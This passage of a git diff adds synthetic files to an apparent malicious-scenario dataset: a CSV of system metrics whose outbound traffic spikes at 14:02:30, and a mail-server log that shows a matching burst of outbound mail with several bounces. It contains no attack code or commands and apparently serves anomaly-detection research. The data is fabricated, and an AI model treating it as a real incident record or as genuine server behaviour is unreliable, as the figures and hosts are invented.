74KLJGZ4OL: to=, relay=gndak.io[8.248.33.232]:25, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Jul 02 12:06:15 mail-server systemd[1]: Starting daily clean up activities... +Jul 02 12:06:40 mail-server CRON[5219]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:20 mail-server CRON[5842]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_5/mali_5_16.csv b/mali_dataset/scenario_5/mali_5_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..b5b41b6adabdccfe202f11623ab45b0ef7378903 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T14:00:00Z,17.54,39.83,21.95,0.8,1.62 +2025-08-26T14:00:05Z,17.23,39.78,26.27,1.43,0.98 +2025-08-26T14:00:10Z,16.11,39.86,20.52,0.53,1.37 +2025-08-26T14:00:15Z,12.86,39.71,25.4,0.61,1.26 +2025-08-26T14:00:20Z,15.65,39.36,26.75,1.12,1.92 +2025-08-26T14:00:25Z,13.19,40.42,27.8,0.63,1.91 +2025-08-26T14:00:30Z,17.23,40.64,26.63,1.03,1.85 +2025-08-26T14:00:35Z,13.02,39.9,27.02,1.08,0.96 +2025-08-26T14:00:40Z,12.85,40.91,26.25,0.69,1.86 +2025-08-26T14:00:45Z,13.76,41.83,19.7,1.32,1.01 +2025-08-26T14:00:50Z,13.81,36.19,24.92,0.86,1.79 +2025-08-26T14:00:55Z,15.59,37.91,27.07,1.41,1.23 +2025-08-26T14:01:00Z,16.97,38.92,25.7,0.78,1.55 +2025-08-26T14:01:05Z,13.58,40.91,32.49,1.23,1.37 +2025-08-26T14:01:10Z,15.64,42.03,26.73,1.43,1.11 +2025-08-26T14:01:15Z,17.88,39.22,21.65,0.55,1.86 +2025-08-26T14:01:20Z,10.18,40.59,25.17,1.45,1.87 +2025-08-26T14:01:25Z,12.66,38.52,28.47,0.97,1.91 +2025-08-26T14:01:30Z,15.25,37.17,17.36,0.69,1.93 +2025-08-26T14:01:35Z,14.05,40.13,26.93,1.28,1.4 +2025-08-26T14:01:40Z,12.8,41.91,23.32,0.79,1.65 +2025-08-26T14:01:45Z,14.44,41.95,28.26,1.48,0.91 +2025-08-26T14:01:50Z,18.23,41.79,25.91,1.14,1.89 +2025-08-26T14:01:55Z,12.82,42.35,25.8,1.08,1.95 +2025-08-26T14:02:00Z,14.18,37.15,23.13,0.54,1.69 +2025-08-26T14:02:05Z,16.78,39.36,24.24,0.74,1.42 +2025-08-26T14:02:10Z,13.72,41.36,24.61,1.3,1.5 +2025-08-26T14:02:15Z,13.74,37.68,27.61,1.23,1.44 +2025-08-26T14:02:20Z,14.33,43.29,28.59,0.6,1.99 +2025-08-26T14:02:25Z,13.62,40.53,18.44,1.27,0.87 +2025-08-26T14:02:30Z,39.09,43.42,12.24,15.24,70.14 +2025-08-26T14:02:35Z,58.05,42.95,14.43,21.9,86.47 +2025-08-26T14:02:40Z,59.51,43.41,15.33,20.19,101.06 +2025-08-26T14:02:45Z,62.95,41.67,14.46,30.95,109.89 +2025-08-26T14:02:50Z,56.55,40.54,12.41,17.44,96.61 +2025-08-26T14:02:55Z,64.73,43.17,17.57,11.99,84.08 +2025-08-26T14:03:00Z,56.58,41.43,17.98,18.32,71.83 +2025-08-26T14:03:05Z,66.5,40.79,15.04,25.6,64.73 +2025-08-26T14:03:10Z,59.58,41.93,13.86,26.6,68.4 +2025-08-26T14:03:15Z,44.54,41.94,11.86,19.11,60.0 +2025-08-26T14:03:20Z,39.44,42.22,17.17,13.43,60.0 +2025-08-26T14:03:25Z,41.28,43.49,12.68,15.61,82.11 +2025-08-26T14:03:30Z,45.54,40.84,13.98,24.64,78.54 +2025-08-26T14:03:35Z,33.31,42.2,13.53,17.1,94.32 +2025-08-26T14:03:40Z,36.96,38.26,14.82,20.96,82.88 +2025-08-26T14:03:45Z,30.0,43.34,11.41,30.73,87.24 +2025-08-26T14:03:50Z,30.0,41.96,14.22,22.6,79.04 +2025-08-26T14:03:55Z,35.93,42.51,15.75,25.5,80.56 +2025-08-26T14:04:00Z,35.51,41.71,11.94,15.49,76.95 +2025-08-26T14:04:05Z,42.9,41.98,14.21,24.87,77.01 +2025-08-26T14:04:10Z,63.76,43.45,13.66,23.14,70.3 +2025-08-26T14:04:15Z,57.6,40.69,13.96,21.96,60.0 +2025-08-26T14:04:20Z,53.42,44.82,14.4,28.36,72.0 +2025-08-26T14:04:25Z,52.4,42.09,20.79,19.55,60.0 +2025-08-26T14:04:30Z,60.91,42.5,21.74,14.38,89.15 +2025-08-26T14:04:35Z,57.96,42.16,15.68,21.62,93.94 +2025-08-26T14:04:40Z,58.03,40.43,17.1,21.24,83.12 +2025-08-26T14:04:45Z,55.95,41.06,16.59,22.3,112.13 +2025-08-26T14:04:50Z,53.29,42.08,12.4,26.17,105.31 +2025-08-26T14:04:55Z,49.89,41.24,13.92,21.58,66.75 +2025-08-26T14:05:00Z,37.86,39.71,12.98,24.85,63.15 +2025-08-26T14:05:05Z,36.57,40.95,18.23,14.83,74.14 +2025-08-26T14:05:10Z,35.45,42.49,14.56,19.29,64.21 +2025-08-26T14:05:15Z,39.32,40.77,14.11,22.12,60.0 +2025-08-26T14:05:20Z,30.0,39.76,18.31,16.15,62.96 +2025-08-26T14:05:25Z,38.1,40.65,14.95,16.12,83.14 +2025-08-26T14:05:30Z,30.0,44.35,14.01,20.07,96.72 +2025-08-26T14:05:35Z,41.2,41.01,14.41,28.42,83.02 +2025-08-26T14:05:40Z,37.88,43.46,12.66,21.96,113.54 +2025-08-26T14:05:45Z,41.21,42.06,20.12,12.93,70.44 +2025-08-26T14:05:50Z,50.25,42.6,15.64,10.83,81.81 +2025-08-26T14:05:55Z,49.21,41.57,18.1,22.92,80.18 +2025-08-26T14:06:00Z,47.77,39.11,13.84,10.0,84.35 +2025-08-26T14:06:05Z,52.81,41.82,11.66,11.57,79.25 +2025-08-26T14:06:10Z,57.85,41.71,12.95,19.48,64.61 +2025-08-26T14:06:15Z,60.4,44.49,16.55,19.07,70.86 +2025-08-26T14:06:20Z,53.84,42.58,13.34,14.06,62.23 +2025-08-26T14:06:25Z,57.43,41.24,14.77,16.3,67.35 +2025-08-26T14:06:30Z,54.2,41.48,13.45,22.1,82.03 +2025-08-26T14:06:35Z,46.15,40.77,15.54,10.0,91.06 +2025-08-26T14:06:40Z,43.86,43.07,16.6,22.68,96.01 +2025-08-26T14:06:45Z,39.51,42.58,17.04,21.28,101.93 +2025-08-26T14:06:50Z,37.12,43.6,14.99,22.15,103.56 +2025-08-26T14:06:55Z,37.76,41.86,16.08,16.96,69.11 +2025-08-26T14:07:00Z,30.0,39.15,12.87,23.36,84.92 +2025-08-26T14:07:05Z,38.97,43.77,15.47,19.96,70.73 +2025-08-26T14:07:10Z,31.34,42.19,12.06,27.5,60.0 +2025-08-26T14:07:15Z,30.0,42.32,15.63,18.19,60.0 +2025-08-26T14:07:20Z,31.91,41.54,17.04,28.21,75.27 +2025-08-26T14:07:25Z,38.97,42.45,10.27,16.38,73.83 diff --git a/mali_dataset/scenario_5/mali_5_16.log b/mali_dataset/scenario_5/mali_5_16.log new file mode 100644 index 0000000000000000000000000000000000000000..0a201e0051f22f335a8e408a4951dff0383293a6 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_16.log @@ -0,0 +1,342 @@ +Aug 26 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 14:00:00 mail-server postfix/smtp[16593]: 791652C1: to=, relay=mx.emailprovider4.com[10.174.90.12]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2C0A4EA9) +Aug 26 14:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 14:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 14:00:50 mail-server postfix/smtp[17808]: 4E31E91E: to=, relay=mx.emailprovider3.com[10.80.243.64]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1DE0C294) +Aug 26 14:01:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:01:40 systemd[1]: Starting daily clean up activities... +Aug 26 14:01:40 mail-server postfix/smtp[13366]: 958614BE: to=, relay=mx.emailprovider2.com[10.37.26.155]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8BF849F5) +Aug 26 14:02:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 26 14:02:20 systemd[1]: Starting daily clean up activities... +Aug 26 14:02:30 mail-server postfix/smtp[10317]: AF95E215: to=, relay=mx.emailprovider4.com[10.78.241.209]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C4150FC1) +Aug 26 14:02:30 mail-server postfix/cleanup[15710]: ED5EBF50: message-id= +Aug 26 14:02:30 mail-server postfix/smtp[16733]: EEDFE5AA: to=, relay=mx.emailprovider1.com[10.101.69.154]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.101.69.154]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:02:30 mail-server postfix/smtp[13941]: 83E63AC7: to=, relay=mx.emailprovider1.com[10.65.51.64]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 463E8EFE) +Aug 26 14:02:30 mail-server postfix/smtp[19451]: D6886618: to=, relay=mx.emailprovider4.com[10.195.145.154]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E410A936) +Aug 26 14:02:30 mail-server postfix/cleanup[19866]: AFFD2C4A: message-id= +Aug 26 14:02:30 mail-server postfix/smtp[14850]: 1A2CE008: to=, relay=mx.emailprovider3.com[10.80.36.160]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.80.36.160]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:02:30 mail-server postfix/smtp[15622]: 84E8090F: to=, relay=mx.emailprovider4.com[10.124.11.86]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 38EA3A38) +Aug 26 14:02:35 mail-server postfix/smtp[16106]: C64A9C59: to=, relay=mx.emailprovider1.com[10.35.177.32]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as AE9567FE) +Aug 26 14:02:35 mail-server postfix/smtp[17705]: FB391E9B: to=, relay=mx.emailprovider3.com[10.241.90.138]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DCD9F9F9) +Aug 26 14:02:35 mail-server postfix/smtp[14233]: 180D0AC0: to=, relay=mx.emailprovider1.com[10.40.73.113]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B1F31ED8) +Aug 26 14:02:35 mail-server postfix/smtp[11209]: F2E4B880: to=, relay=mx.emailprovider1.com[10.111.132.186]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7902216F) +Aug 26 14:02:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:02:40 mail-server postfix/smtp[12546]: 9C4399BA: to=, relay=mx.emailprovider2.com[10.92.160.123]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F9FE0D07) +Aug 26 14:02:40 mail-server postfix/smtp[12977]: 722D97B3: to=, relay=mx.emailprovider2.com[10.254.160.163]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3039F8B2) +Aug 26 14:02:40 mail-server postfix/smtp[12766]: 7B557473: to=, relay=mx.emailprovider3.com[10.133.195.117]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C3410B17) +Aug 26 14:02:45 mail-server postfix/smtp[19259]: 9AC69939: to=, relay=mx.emailprovider3.com[10.188.238.164]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3C59C013) +Aug 26 14:02:45 mail-server postfix/cleanup[10303]: D72B0213: message-id= +Aug 26 14:02:45 mail-server postfix/smtp[16380]: D77A809E: to=, relay=mx.emailprovider1.com[10.13.252.33]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.13.252.33]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:02:45 mail-server postfix/smtp[11603]: 729F7ACB: to=, relay=mx.emailprovider2.com[10.252.241.155]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DEDA28CE) +Aug 26 14:02:45 mail-server postfix/smtp[11643]: 3865371D: to=, relay=mx.emailprovider3.com[10.231.66.229]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0D17A6FE) +Aug 26 14:02:45 mail-server postfix/smtp[16265]: 29F09AD0: to=, relay=mx.emailprovider4.com[10.183.8.158]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 81E882CE) +Aug 26 14:02:45 mail-server postfix/smtp[15283]: 1280253C: to=, relay=mx.emailprovider2.com[10.29.203.236]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D1F271C5) +Aug 26 14:02:45 mail-server postfix/smtp[11081]: 121DA05E: to=, relay=mx.emailprovider4.com[10.48.108.131]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 46916290) +Aug 26 14:02:50 mail-server postfix/smtp[17325]: 08426FAE: to=, relay=mx.emailprovider3.com[10.86.158.199]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 835FB766) +Aug 26 14:02:50 mail-server postfix/smtp[13816]: 0C2F60CE: to=, relay=mx.emailprovider1.com[10.70.158.10]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 23868985) +Aug 26 14:02:50 mail-server postfix/smtp[17201]: B27ABAF2: to=, relay=mx.emailprovider3.com[10.135.119.167]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E4B08334) +Aug 26 14:02:50 mail-server postfix/smtp[10843]: DEBBB949: to=, relay=mx.emailprovider3.com[10.211.179.192]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D0B21995) +Aug 26 14:02:55 mail-server postfix/smtp[10377]: 90372B1E: to=, relay=mx.emailprovider4.com[10.206.176.213]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A0B797DC) +Aug 26 14:02:55 mail-server postfix/smtp[16560]: 08FA3357: to=, relay=mx.emailprovider1.com[10.254.161.143]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B7E3FB26) +Aug 26 14:02:55 mail-server postfix/smtp[15695]: 137B1F63: to=, relay=mx.emailprovider1.com[10.246.129.188]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5AC9C397) +Aug 26 14:02:55 mail-server postfix/smtp[14360]: 8AE702B5: to=, relay=mx.emailprovider1.com[10.3.42.190]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C8F39772) +Aug 26 14:02:55 mail-server postfix/smtp[18825]: E813A3AE: to=, relay=mx.emailprovider3.com[10.172.32.118]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1478BA22) +Aug 26 14:02:55 mail-server postfix/smtp[18856]: C7F06716: to=, relay=mx.emailprovider1.com[10.176.72.188]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 84EA2CFD) +Aug 26 14:03:00 mail-server postfix/smtp[19038]: CE6F79F8: to=, relay=mx.emailprovider2.com[10.56.93.220]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 16D5E113) +Aug 26 14:03:00 mail-server postfix/smtp[11101]: 45A1D39A: to=, relay=mx.emailprovider4.com[10.223.169.205]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1AF2FF4A) +Aug 26 14:03:00 mail-server postfix/smtp[19921]: 112ACC22: to=, relay=mx.emailprovider1.com[10.241.79.223]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 05D5DF23) +Aug 26 14:03:00 mail-server postfix/smtp[12112]: C9598E9D: to=, relay=mx.emailprovider4.com[10.194.63.139]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8B6952DE) +Aug 26 14:03:00 mail-server postfix/smtp[12019]: B9B96062: to=, relay=mx.emailprovider2.com[10.79.5.203]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as EB732AA4) +Aug 26 14:03:00 mail-server postfix/cleanup[15566]: 6BDEE278: message-id= +Aug 26 14:03:00 mail-server postfix/smtp[13116]: B194FFAD: to=, relay=mx.emailprovider4.com[10.108.113.25]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.108.113.25]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:00 mail-server postfix/smtp[17832]: DA9553C9: to=, relay=mx.emailprovider2.com[10.125.37.200]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 97FDD247) +Aug 26 14:03:00 mail-server postfix/cleanup[13853]: 3208E65B: message-id= +Aug 26 14:03:00 mail-server postfix/smtp[14264]: 389B1C6F: to=, relay=mx.emailprovider4.com[10.104.121.154]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.104.121.154]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:05 mail-server postfix/smtp[17738]: F46AEB7F: to=, relay=mx.emailprovider4.com[10.105.25.108]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 63AFB8EB) +Aug 26 14:03:05 mail-server postfix/smtp[14197]: 441F26EB: to=, relay=mx.emailprovider1.com[10.42.65.169]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BE875E0A) +Aug 26 14:03:05 mail-server postfix/smtp[17032]: 5C9AF108: to=, relay=mx.emailprovider1.com[10.149.216.42]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 497FE823) +Aug 26 14:03:05 mail-server postfix/smtp[18282]: 9722DB29: to=, relay=mx.emailprovider2.com[10.38.210.133]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2FB48C90) +Aug 26 14:03:10 mail-server postfix/smtp[12883]: 6D825F1C: to=, relay=mx.emailprovider3.com[10.19.134.14]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C2ABC834) +Aug 26 14:03:10 mail-server postfix/smtp[17752]: DB6FA56F: to=, relay=mx.emailprovider3.com[10.132.165.137]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E85713C3) +Aug 26 14:03:10 mail-server postfix/smtp[12248]: 7E946C79: to=, relay=mx.emailprovider1.com[10.233.204.56]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1957A05E) +Aug 26 14:03:10 mail-server postfix/smtp[15910]: D71D6618: to=, relay=mx.emailprovider4.com[10.129.128.198]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 55DBFF54) +Aug 26 14:03:15 mail-server postfix/cleanup[18087]: 1C24D7E8: message-id= +Aug 26 14:03:15 mail-server postfix/smtp[16618]: 3D865F76: to=, relay=mx.emailprovider1.com[10.209.214.118]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.209.214.118]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:15 mail-server postfix/smtp[19431]: 369FE294: to=, relay=mx.emailprovider4.com[10.9.233.15]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9F0D0EE6) +Aug 26 14:03:15 mail-server postfix/smtp[14946]: FD560768: to=, relay=mx.emailprovider3.com[10.176.167.249]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4349D2C1) +Aug 26 14:03:15 mail-server postfix/smtp[14864]: F206F928: to=, relay=mx.emailprovider2.com[10.170.28.90]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FEF25B77) +Aug 26 14:03:15 mail-server postfix/smtp[11565]: E529E37A: to=, relay=mx.emailprovider3.com[10.229.210.170]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8CD5286E) +Aug 26 14:03:15 mail-server postfix/cleanup[13573]: 0E4B82F0: message-id= +Aug 26 14:03:15 mail-server postfix/smtp[17025]: 909A19FF: to=, relay=mx.emailprovider1.com[10.178.102.124]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.178.102.124]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:03:20 mail-server postfix/smtp[10662]: CCF752C8: to=, relay=mx.emailprovider2.com[10.79.45.241]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DFA8A94B) +Aug 26 14:03:20 mail-server postfix/smtp[19448]: 4A1326D8: to=, relay=mx.emailprovider4.com[10.90.197.240]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F6CCB798) +Aug 26 14:03:20 mail-server postfix/smtp[12330]: 25CAB9AE: to=, relay=mx.emailprovider2.com[10.149.211.86]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 47552015) +Aug 26 14:03:20 mail-server postfix/smtp[11564]: 57F5E5B1: to=, relay=mx.emailprovider1.com[10.163.99.119]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0CF878B4) +Aug 26 14:03:25 mail-server postfix/smtp[10164]: C54B9AF1: to=, relay=mx.emailprovider4.com[10.166.253.42]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FD1E0C7F) +Aug 26 14:03:25 mail-server postfix/smtp[14366]: F2536E47: to=, relay=mx.emailprovider4.com[10.2.109.225]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C0943A46) +Aug 26 14:03:25 mail-server postfix/smtp[18571]: 75EE6AB7: to=, relay=mx.emailprovider1.com[10.109.212.99]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9D3DCE19) +Aug 26 14:03:30 mail-server postfix/smtp[19251]: 0746A4AC: to=, relay=mx.emailprovider2.com[10.77.156.83]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FE0598E1) +Aug 26 14:03:30 mail-server postfix/smtp[11634]: F05A9E8B: to=, relay=mx.emailprovider2.com[10.192.23.67]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as EF4DDD0A) +Aug 26 14:03:30 mail-server postfix/cleanup[17643]: F0FDE087: message-id= +Aug 26 14:03:30 mail-server postfix/smtp[18030]: 05121078: to=, relay=mx.emailprovider1.com[10.8.7.5]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.8.7.5]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:30 mail-server postfix/smtp[12272]: D60B08D2: to=, relay=mx.emailprovider2.com[10.250.45.50]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 90388B13) +Aug 26 14:03:30 mail-server postfix/cleanup[16229]: 437F7E5C: message-id= +Aug 26 14:03:30 mail-server postfix/smtp[15443]: 873E83D1: to=, relay=mx.emailprovider1.com[10.132.208.1]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.132.208.1]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:30 mail-server postfix/smtp[14912]: 3C9420BC: to=, relay=mx.emailprovider4.com[10.146.61.36]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C201D5E6) +Aug 26 14:03:35 mail-server postfix/smtp[15684]: E09C08EC: to=, relay=mx.emailprovider3.com[10.223.178.112]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7CC2818A) +Aug 26 14:03:35 mail-server postfix/smtp[14886]: 168DF131: to=, relay=mx.emailprovider1.com[10.29.173.188]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D0147B69) +Aug 26 14:03:35 mail-server postfix/smtp[13013]: 064C53A6: to=, relay=mx.emailprovider3.com[10.77.12.209]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F04C42F1) +Aug 26 14:03:35 mail-server postfix/smtp[17138]: 4EB7C6C3: to=, relay=mx.emailprovider2.com[10.90.170.206]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B4673AE9) +Aug 26 14:03:40 mail-server postfix/smtp[15424]: 753E8BC5: to=, relay=mx.emailprovider3.com[10.196.120.164]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5BCE4FF3) +Aug 26 14:03:40 mail-server postfix/smtp[13977]: 65D71A58: to=, relay=mx.emailprovider2.com[10.61.181.230]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6B3CF2C5) +Aug 26 14:03:40 mail-server postfix/smtp[17581]: 796172F6: to=, relay=mx.emailprovider4.com[10.203.219.241]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8D41539D) +Aug 26 14:03:40 mail-server postfix/smtp[11520]: 9F16CF75: to=, relay=mx.emailprovider3.com[10.74.127.53]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D178FA11) +Aug 26 14:03:40 mail-server postfix/smtp[15059]: 99D5C4DC: to=, relay=mx.emailprovider1.com[10.131.86.116]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 3064AFFC) +Aug 26 14:03:40 mail-server postfix/smtp[18893]: 46A70EF9: to=, relay=mx.emailprovider3.com[10.38.248.46]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 110CC753) +Aug 26 14:03:45 mail-server postfix/smtp[10860]: E777BD57: to=, relay=mx.emailprovider2.com[10.5.72.141]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6E08B474) +Aug 26 14:03:45 mail-server postfix/smtp[10669]: E8C40F59: to=, relay=mx.emailprovider2.com[10.76.89.173]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DC509CAA) +Aug 26 14:03:45 mail-server postfix/cleanup[16782]: 3AFA63A5: message-id= +Aug 26 14:03:45 mail-server postfix/smtp[15217]: A5DAB7BA: to=, relay=mx.emailprovider2.com[10.221.208.241]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider2.com[10.221.208.241]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:03:45 mail-server postfix/smtp[12772]: 459B1167: to=, 